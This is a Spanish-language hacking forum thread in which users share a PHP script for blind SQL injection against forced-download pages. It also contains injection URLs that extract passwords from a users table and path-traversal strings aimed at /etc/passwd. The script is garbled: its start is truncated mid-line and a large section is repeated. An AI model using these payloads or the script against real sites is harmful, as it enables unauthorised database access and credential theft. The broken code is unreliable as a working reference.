Caso #01 : Blind SQL Inyection Con Descarga Forzada.

Iniciado por OzX, 6 Febrero 2009, 19:21 PM

0 Miembros y 1 Visitante están viendo este tema.

OzX




Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.

Web:

http://www.site.com/download.php?id=2


Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.



Citarhttp://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]



Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.

Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.

Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.

Citar
<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url=" > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
         fwrite($f1,$info);
         fclose($f1);
         exit();
   }else{
      echo chr($ascii[$x]).chr(13);
   }
               }

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>


[/code]

Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.


$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0



Saludos ¡
OzX¡

Fuente : ).chr(13);
   }
               }

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>


[/code]

Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.


$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0



Saludos ¡
OzX¡

Fuente : [url=http://foro.undersecurity.net/read.php?5,775,776]http://foro.undersecurity.net/read.php?5,775,776

Azielito

#1
wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD





Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬

Darioxhcx

en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos

EvilGoblin

Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^

Experimental Serial Lain [Linux User]

OzX

Cita de: Azielito en  6 Febrero 2009, 19:38 PM
wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD





Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬

jejej coool.

Cita de: Darioxhcx en  7 Febrero 2009, 20:53 PM
en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos

Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto.
Saludos¡
Cita de: EvilGoblin en  7 Febrero 2009, 20:58 PM
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^


jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o  la nueva tecnica de obtenercion de informacion como load_file, pero con blind.

Saludos¡

berz3k

#5
@OzX

Probando el script que haz enviado no me va, mi string manual es este:


http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=50
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=51
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=52
[/snip...]



Var dentro del code quedo así (algo falta):


$url="http://1.1.1.1/blind.php?id=1+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];


Ejecucion:


C:\>php -f blind-forzado.php


-berz3k.


OzX

hi brota.

a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas.

header( 'Content-Disposition: attachment; filename="' . $name . '"'); 

donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor.

el sistema que tiene para diferencir , si un valor es verdadero o falso, es.

   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
en donde si descarge lo minimo y esto lo leo como texto (obtendre codigo ilegible ), pero se que descargo algo, hay sabre que es un valor verdadero, en cambio si es falso, este no descargara nada de nada.


if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }


nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar.


Saludos brota¡ :D ¡

berz3k

#7
Es verdad mi QUERY es un blind normal via GET + ASCII etc, mas no estoy utlizando la injection via "Content-Disposition:"


HTTP/1.1 200 OK
Server: test
content-disposition: attachment; filename=test.html <- AQUI INJECTION
Content-length: 16
Content-Type: application/octet-strea


configurare algun ejemplo de descarga forzada en mi LAB, mmm pero para ello necesito un ejemplo real y así observare mejor los detalles OzX

a) Estoy funcionara tanto para win32 como Linux? si no es así, sigamos con el HILO y posteando mas pruebas.
b) Estoy mirando los archivos configs para Linux  y win32 para crear un HEADER que force el CONTENT-DISPOSITION, OzX o si lo tenes ya ahorrarme el trabajo XD

mandame un msg private please!


-berz3k.


OzX

#8
Esta enfocado para linux , el server donde estaba mirando es linux.  :rolleyes:
Nose si te refieres a esto

<?
     header ("Content-Disposition: attachment; filename=".$file.";" );
     header ("Content-Type: application/force-download"); */

?>



Te envie un Priv ¡

Saludos¡ Brota¡

pd:nose si te llego el prvi me avisas